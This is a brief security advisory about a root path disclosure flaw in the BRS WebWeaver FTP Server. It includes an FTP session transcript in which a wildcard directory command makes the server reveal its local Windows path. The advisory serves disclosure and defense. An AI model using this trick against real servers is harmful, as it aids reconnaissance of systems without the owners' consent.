|
BRS WebWeaver FTP Root Path Disclosure Vulnerability
(courtesy joe testa <joetesta@hushmail.com>): >ftp localhost Connected to xxxxxxxxxxxx.rh.rit.edu. 220 BRS WebWeaver FTP Server ready. User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog 331 Password required for jdog. Password: 230 User jdog logged in. ftp> cd * 250 CWD command successful. "/*/" is current directory. ftp> ls 200 Port command successful. 150 Opening data connection for directory list. c:\windows\desktop\*\*.* not found 226 File sent ok ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec. ftp> |
|
|
Privacy Statement |